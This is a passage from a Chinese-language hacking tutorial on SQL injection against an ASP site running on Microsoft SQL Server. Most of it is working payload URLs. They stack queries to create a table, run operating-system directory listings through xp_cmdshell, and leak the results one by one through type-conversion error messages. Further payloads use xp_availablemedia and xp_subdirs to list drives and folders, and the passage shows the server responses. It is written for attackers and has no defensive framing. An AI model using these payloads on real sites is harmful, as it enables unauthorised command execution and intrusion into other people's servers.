方法二:
利用xp_cmdshell
哈哈,这个大家一定很熟悉了吧,我就简单说一下
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell ’dir c:\ /B/D’ --
返回:正常信息。说明写入C盘的所有目录成功了!这里用了dir c:\ /B/D,哈哈,不知道/B/D什么作用就试验试验看
语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
方法同上,就不说了
有时候我们也可以用下面的两个扩展来干些事情
1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中:
5 ;insert dirs exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中:
5 ;insert into dirs exec master.dbo.xp_subdirs ’c:\’ ;--
优缺点分析:
很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了.
缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).
上一页 [1] [2] [3] 下一页